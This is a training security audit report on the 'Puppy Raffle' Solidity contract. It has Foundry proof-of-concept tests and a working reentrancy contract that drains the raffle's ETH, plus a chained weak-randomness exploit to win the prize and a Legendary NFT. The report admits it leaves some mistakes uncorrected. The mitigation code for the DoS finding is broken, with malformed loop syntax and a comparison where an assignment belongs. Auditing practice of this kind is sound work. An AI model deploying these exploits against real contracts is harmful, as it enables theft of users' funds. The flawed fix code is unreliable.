Puppy Raffle Training Report

Version 1.0

GenesisGlitch

July 26, 2024

Puppy Raffle Training Report

GenesisGlitch

June 26, 2024

Prepared by: GenesisGlitch Lead Auditors: - GenesisGlitch

Table of Contents

* [L-1] Solidity pragma should be specific, not wide
* [L-2] Missing checks for `address(0)` when assigning values to address state variables
* [L-3] Define and use `constant` variables instead of using literals
* [L-4] Event is missing `indexed` fields
* [L-5] Loop contains `require`/`revert` statements

Protocol Summary

Protocol does is a Raffle where you can win a Puppy…

Disclaimer

The GenesisGlitch makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	C	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

Roles

- owner
- user

Executive Summary

This report is ment to be good-enough. Only important parts of exercise are included and some mistakes are not corrected. Generation of report routine was the aim of creating all of this.

Issues found

Severity	Number of issues found
Critical	2
High	1
Medium	2
Low	5
Info	0
Total	10

Critical

[C-1] Reentrancy in refund function

Description: Rafund function does not implement reentrancy protection. Attacker can invoke refund function from specialy crafted, malicous contract. When refund will send eth to this contract execution is passed to it while state of victim contract is not changed. That gives oportunity to invoke refound once again and receive another eth. Doing it until any eth is left in victim contract will drain all assets from it.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");

        payable(msg.sender).sendValue(entranceFee);

        players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

Impact: High

Proof of Concept: (Proof of Code)

PoC - test function

```
    function testRefundReentrancy() public {

        // Stage 0: Deploy malicious contract
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        deal(playerOne, puppyRaffle.entranceFee() * 5);
        vm.prank(playerOne);
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        uint256 contractBalanceBefore = address(puppyRaffle).balance;

        // Stage 1: Deploy malicious contract
        vm.deal(attacker, entranceFee);
        uint256 attackContractBalanceBefore = address(attacker).balance;
        vm.startPrank(attacker);
        ReentrancyContract reentrancyContract = new ReentrancyContract{value: entranceFee}(address(puppyRaffle), attacker);


        // Stage 2: Invoke attack function
        reentrancyContract.attack();

        // Stage 3: Verify that the attacker has successfully withdrawn the prize
        uint256 attackContractBalanceAfter = address(attacker).balance;

        assertGt(attackContractBalanceAfter, attackContractBalanceBefore);
        assertLt(address(puppyRaffle).balance, entranceFee);
        vm.startPrank(attacker);

    }
```

PoC - Malicious Contract

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import {Test, console} from "forge-std/Test.sol";

interface PuppyRaffle {
    function getActivePlayerIndex(address player) external view returns (uint256);
    function entranceFee() external view returns (uint256);
    function enter(uint256 index) external payable;
    function withdraw(uint256 amount) external;
    function enterRaffle(address[] memory newPlayers) external payable;
    function refund(uint256 playerIndex) external;
}

contract ReentrancyContract {
    address private immutable owner;
    PuppyRaffle private raffle;
    uint256 private entryFee;
    uint256 private attackerIndex;

    event AttackStarted();
    event EthReceived(uint256 amount);
    event ReentrancyStarted();
    event LootWithdrawn(uint256 amount);

    constructor(address raffleAddress, address ownerAddress) payable {
        // Set the contract owner
        owner = ownerAddress;

        // Initialize the PuppyRaffle contract
        raffle = PuppyRaffle(raffleAddress);

        // Create an array of attackers with the current contract address
        address[] memory attackers = new address[](1);
        attackers[0] = address(this);

        // Get the entrance fee from the PuppyRaffle contract
        entryFee = raffle.entranceFee();

        // Enter the raffle with the entrance fee
        raffle.enterRaffle{value: entryFee}(attackers);

        // Get the index of the attacker in the raffle
        attackerIndex = raffle.getActivePlayerIndex(address(this));

        // Log the attacker index and entry fee
        // console.log("Attacker index: %d", attackerIndex);
        // console.log("Entry fee: %d", entryFee);

        emit AttackStarted();
    }

    function attack() external {
        emit ReentrancyStarted();
        raffle.refund(attackerIndex);
    }

    receive() external payable {
        emit EthReceived(msg.value);
        if (address(raffle).balance >= entryFee) {
            raffle.refund(attackerIndex);
        }else{
            withdraw();
        }
    }

    function withdraw() internal {
        uint256 balance = address(this).balance;
        payable(owner).transfer(balance);
        emit LootWithdrawn(balance);
    }
}
```

Recommended Mitigation: Implement check interactions effect pattern or ReentrancyGuard mutex.

[C-2] Insecure randomnes

Description: The `PuppyRaffle` contract uses insecure randomness. A malicious user can predict how many addresses they need to add due to the randomness implementation based on block data, sender address, and internal array size. All these parameters can be under the attacker's control or they can know their values, making it possible to manipulate the contract state to always win the lottery.

Vulnerable code 1

```
uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
               timestamp, block.difficulty))) % players.length
```

Moreover, the value of the minted item is also based on predictable or controllable data:

Vulnerable code - 2

```
uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
```

A malicious user can generate a large number of accounts and pick the one which will generate a Legendary item.

It is worth mentioning that participants will always get the same item value for the same account.

In some scenarios, conducting a successful attack may require a lot of assets. However, a malicious user can reclaim them by chaining this exploit with reentrancy, making the whole exploitation profitable. They will get the invested amount back, plus ETH stolen from other participants, plus the prize for winning the lottery and a Legendary NFT.

Impact: Critical

Proof of Concept: (Proof of Code)

PoC

NOTE: This PoC uses code from reentrancy previous chapter.

```
    function testRandonNumberSelectWinner() public {

        // Stage 0: Start to record logs and start raffle than wait to raffle end
        // That imitates malicious user who monitors the logs and tries to exploit the system
        vm.recordLogs();
        // Users enter the raffle
        address[] memory players1 = new address[](3);
        players1[0] = playerOne;
        players1[1] = playerTwo;
        players1[2] = playerThree;

        puppyRaffle.enterRaffle{value: entranceFee * 3}(players1);

        address[] memory players2 = new address[](2);
        players2[0] = playerFour;
        players2[1] = address(5);

        puppyRaffle.enterRaffle{value: entranceFee * 2}(players2);

        // CHAIN 1: deploy reentrancy contract and add it later to the raffle
        ReentrancyContract reentrancyContract = new ReentrancyContract{value: entranceFee}(address(puppyRaffle), attacker, 0);

        // DEBUG: check logs
        // Retrieve the recorded logs
        Vm.Log[] memory logs = vm.getRecordedLogs();
        uint256 playerCount = getPlayerCount( logs );

        // RAFFLE OVER
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        // -----------------

        // To arrays of legit players and one malicious reentrancy
        assertEq(playerCount, players1.length + players2.length + 1, "Player count does not match the expected value");

        // Stage 1: Count address that always will generate legendary item
        address legendaryAddress = findLegendaryAddress();

        // Stage 2:Predict how many address add to  became a winner
        uint attackerIndex = playerCount; // The attacker is the last player and we counting from 0, I added it to make it clear


        // Winner prediction
        uint256 playersNeeded = predictPlayersNeeded(attackerIndex, legendaryAddress);
        // Attacker gets founds for attack (flashLoan or anything)
        assertEq(address(attacker).balance, 0, "Attacker balance should be 0");
        deal(attacker, puppyRaffle.entranceFee() * playersNeeded);

        // Attacker is founding legendary account
        vm.prank(attacker);
        // We are delaing a lot of ETH as attack might be expensive
        payable(legendaryAddress).transfer(puppyRaffle.entranceFee() * playersNeeded);
        assertLe(puppyRaffle.entranceFee() * playersNeeded, address(legendaryAddress).balance, "Legendary address did not receive the funds");

        //deal(legendaryAddress, puppyRaffle.entranceFee() * playersNeeded);
        vm.startPrank(legendaryAddress);

        // Stage 3: Add the necessary number of players to the raffle
        uint256 playersNeededToBeAdd = playersNeeded - playerCount ;
        address[] memory maliciousAddresses = new address[](playersNeededToBeAdd);
        maliciousAddresses[0] = legendaryAddress;

        // // Add the necessary number of players to the raffle
        for (uint256 p = 2; p < playersNeededToBeAdd; p++) {
            address playerAddress = address( uint160(p+100) );
            maliciousAddresses[p] = playerAddress;
        }

        puppyRaffle.enterRaffle{value: entranceFee * (playersNeededToBeAdd)} (maliciousAddresses);
        vm.stopPrank();

        // CHAIN 2: reentrancy contract attack - attack must be stoped before needed prize will be drained
        vm.startPrank(attacker);
        uint256 totalAmountCollected = entranceFee * (playersNeeded);
        uint256 prizePool = (totalAmountCollected * 80) / 100 +1;
        reentrancyContract.setDrainEdge( prizePool + entranceFee);
        reentrancyContract.attack();
        vm.stopPrank();

        // Stage 4: Select the winner
        vm.prank(legendaryAddress);
        puppyRaffle.selectWinner();

        // Check if attack succeded
        // Legendary address should be the winner
        assertEq(puppyRaffle.previousWinner(), legendaryAddress);
        // Legendary address should have the legendary prize
        uint256 tokenId = puppyRaffle.tokenOfOwnerByIndex(legendaryAddress, 0); // We can assume that this is only attacker's token for test purpse
        uint256 rarity = puppyRaffle.tokenIdToRarity(tokenId);// Take rarity of stolen token
        uint256 LEGENDARY_RARITY = puppyRaffle.LEGENDARY_RARITY();
        assertEq(rarity, LEGENDARY_RARITY, "Legendary address did not receive a legendary rarity token");
        // Transfer the token from the legendary address to the attacker
        vm.prank(legendaryAddress);
        puppyRaffle.transferFrom(legendaryAddress, attacker, tokenId);

        // Verify the transfer
        address newOwner = puppyRaffle.ownerOf(tokenId);
        assertEq(newOwner, attacker, "Token was not transferred to the attacker");
    }

    function predictPlayersNeeded(uint _attackerIndex, address _attacker) public view returns (uint256 _playerCount) {
        // As this is minium number of players there is no need to iterate from 0
        uint256 playerCount = 4;
        while (true) {
            uint256 winnerIndex = uint256(keccak256(abi.encodePacked(_attacker, block.timestamp,block.difficulty))) % (playerCount);
            if (winnerIndex == _attackerIndex) {
                return playerCount;
            }
            playerCount++;
        }
    }

    function getPlayerCount(Vm.Log[] memory logs) public pure returns (uint256) {
        uint256 playerCount = 0;
        for (uint256 j = 0; j < logs.length; j++) {
            if (logs[j].topics[0] == keccak256("RaffleEnter(address[])")) {
                // Decode the data to get the player addresses
                address[] memory newPlayers = abi.decode(logs[j].data, (address[]));
                playerCount += newPlayers.length;
            }
        }
        return playerCount;
}

    function findLegendaryAddress() public view returns (address _legendaryAddress) {
        uint256 rareThreshold = puppyRaffle.RARE_RARITY();
        uint256 commonThreshold = puppyRaffle.COMMON_RARITY();
        uint256 legendaryThreshold = rareThreshold + commonThreshold + 1;

        address legendaryAddress;
        uint256 rarity;
        uint256 i = 0;
        while (true) {
            rarity = uint256(keccak256(abi.encodePacked(legendaryAddress, block.difficulty))) % 100;
            if (rarity > legendaryThreshold) {
                break;
            }
            legendaryAddress = address(uint256(keccak256(abi.encodePacked(i, block.difficulty))));
            i++;
        }
        console.log("Legendary address found after ", i, " iterations");
        return legendaryAddress;
}
```

Recommended Mitigation: Use a Secure Randomness Source: Replace the insecure randomness source with a more secure and unpredictable one, such as Chainlink VRF (Verifiable Random Function). Delay Randomness Calculation: Introduce a delay between the action and the randomness calculation to reduce predictability. Combine Multiple Sources: Use multiple sources of randomness to make it harder to predict the outcome.

High

[H-1] Overflow in calculating total fee

Description:

The variable `totalFees`, used for counting the amount of ETH to send as profit, is declared as `uint64`. Since this amount is counted in wei, it is possible to overflow this value. In the test case scenario, with an entrance fee of 1 ETH, the 20th account causes an overflow.

Impact: High

Proof of Concept:

PoC

```
function testOverflowSelecWinner() public {
        // Overflow in totalFees = totalFees + uint64(fee);
        // We will enter 19 players and then enter one more to cause overflow
        uint256 numAccounts = 19;

        uint totalFees = puppyRaffle.totalFees();
        uint deposited = 0;

        for (uint256 i = 0; i < numAccounts; i++) {
            address account = address(uint160(uint256(keccak256(abi.encodePacked(i)))));
            vm.deal(account, entranceFee);

            address[] memory players1 = new address[](1);
            players1[0] = account;
            // Assuming there's a function to enter the raffle
            puppyRaffle.enterRaffle{value: entranceFee}(players1);
            deposited += entranceFee;
        }
        // Next player will cause overflow.
        // Check current state
        address account = address(uint160(uint256(keccak256(abi.encodePacked('31337')))));
        vm.deal(account, entranceFee);
         address[] memory overflow = new address[](1);
        // Enter and cause overflow
        puppyRaffle.enterRaffle{value: entranceFee}(overflow);
        deposited += entranceFee;
        // Fastforward time to end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // Run selectWinner to update the totalFees
        vm.prank(account);
        puppyRaffle.selectWinner();

        // Check if overflow happened
        uint64 newFees = puppyRaffle.totalFees();
        assertLt(uint(newFees), deposited, "Overflow did not happen");
    }
```

Recommended Mitigation: Reconsider using `uint64` for storing data that may exceed its capacity. Use SafeMath or update the Solidity version to 0.8.0 or later, which has built-in overflow checks.

Medium

[M-1] DoS attack in 'PuppyRaffle::enterRafle'

Description: Protocol uses nested loop which sieze is under attacker control. Attacker can invoke function with large array to cause DoS while looping n^2 complex function increasing cost of entering to raffle.

Impact: Every next entrance will be more expensive. If attacker with add big array he will make unprofitable to join raffle fore anyone fue to lifting up gas price for executing `enterRaffle` function

Proof of Concept: (Proof of Code)

PoC

```
    function testEnterRaffleDoS() public {
        uint256 largeArraySize = 10000; // Adjust this size based on gas limits and testing environment
        address[] memory largeArray = new address[](largeArraySize);
        for (uint256 i = 0; i < largeArraySize; i++) {
            largeArray[i] = address(uint160(i));
        }

        // Fund the attacker to cover entrance fees
        deal(attacker, puppyRaffle.entranceFee() * largeArraySize);
        vm.txGasPrice(1);
        uint256 gasStart = gasleft();
        // Try to enter the raffle with the large array

        vm.startPrank(attacker);
        try puppyRaffle.enterRaffle{value: puppyRaffle.entranceFee() * largeArraySize}(largeArray) {
            emit log("The DoS attack was successful, which is
               unexpected.");
        } catch {
            emit log("The DoS attack failed as expected due to high gas
                consumption.");
        }
        uint256 gasEnd = gasleft();
        uint256 gasUsed = (gasStart - gasEnd)*tx.gasprice;
        console.log("AL:", gasUsed);
        vm.stopPrank();
    }
```

Recommended Mitigation:

PoC

```
// Check for duplicates only from the new players using mappin
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "
           PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
            addressToRaffleId[newPlayers[i]] != raffleId;
        }

        for(uint256 i=0; i < newPlayers.length; i++>){
            require(addressToRaffleId[newPlayers[i]] != raffleId, "
               Duplicate");
        }
            emit RaffleEnter(newPlayers);
    }
```

[M-2] Ambigous 0 value in function return

Description: If a player is at index 0 function will mislead user that he is not active because 0 is returned also for non-active users.

PoC

```
    function getActivePlayerIndex(address player) external view returns
         (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: Medium. If user owns 0 index function getActivePlayer index will treat they as inective player as it retuns 0.

Proof of Concept: (Proof of Code)

PoC

Added log function to contract

```
function getActivePlayerIndex(address player) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                console.log("Found player at index: %d", i);
                return i;
            }
        }
        console.log("Player not not active");
        return 0;
    }
```

```
    function testGetActivePlayerIndexLogic() public {
        address[] memory players = new address[](2);
        players[0] = playerOne;
        players[1] = playerTwo;
        puppyRaffle.enterRaffle{value: entranceFee * 2}(players);

        assertEq(puppyRaffle.getActivePlayerIndex(playerOne), 0);
        assertEq(puppyRaffle.getActivePlayerIndex(playerTwo), 1);
    }
```

Recommended Mitigation: Revert if user is not active. Revert if player is not active.

```
    function getActivePlayerIndex(address player) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                console.log("Found player at index: %d", i);
                return i;
            }
        }
        // console.log("Player not not active");
        // return 0;
        revert("PuppyRaffle: Player not active");
    }
```

```
   function testGetActivePlayerIndexLogic() public {
        address[] memory players = new address[](2);
        players[0] = playerOne;
        players[1] = playerTwo;
        puppyRaffle.enterRaffle{value: entranceFee * 2}(players);

        assertEq(puppyRaffle.getActivePlayerIndex(playerOne), 0);
        assertEq(puppyRaffle.getActivePlayerIndex(playerTwo), 1);
        vm.expectRevert("PuppyRaffle: Player not active");
        assertEq(puppyRaffle.getActivePlayerIndex(playerThree), 0);
    }
```

Low

[L-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

  ```
  pragma solidity ^0.7.6;
  ```

[L-2] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 63

  ```
          feeAddress = _feeAddress;
  ```

- Found in src/PuppyRaffle.sol Line: 189

  ```
          feeAddress = newFeeAddress;
  ```

[L-3] Define and use `constant` variables instead of using literals

If the same constant literal value is used multiple times, create a constant state variable and reference it throughout the contract.

3 Found Instances

- Found in src/PuppyRaffle.sol Line: 148

  ```
          uint256 prizePool = (totalAmountCollected * 80) / 100;
  ```

- Found in src/PuppyRaffle.sol Line: 149

```
        uint256 fee = (totalAmountCollected * 20) / 100;
```

- Found in src/PuppyRaffle.sol Line: 155

```
        uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
```

[L-4] Event is missing `indexed` fields

Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

3 Found Instances

- Found in src/PuppyRaffle.sol Line: 54

```
    event RaffleEnter(address[] newPlayers);
```

- Found in src/PuppyRaffle.sol Line: 55

```
    event RaffleRefunded(address player);
```

- Found in src/PuppyRaffle.sol Line: 56

```
    event FeeAddressChanged(address newFeeAddress);
```

[L-5] Loop contains `require`/`revert` statements

Avoid `require` / `revert` statements in a loop because a single bad item can cause the whole transaction to fail. It's better to forgive on fail and return failed elements post processing of the loop

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 91

```
            for (uint256 j = i + 1; j < playerLength; j++) {
```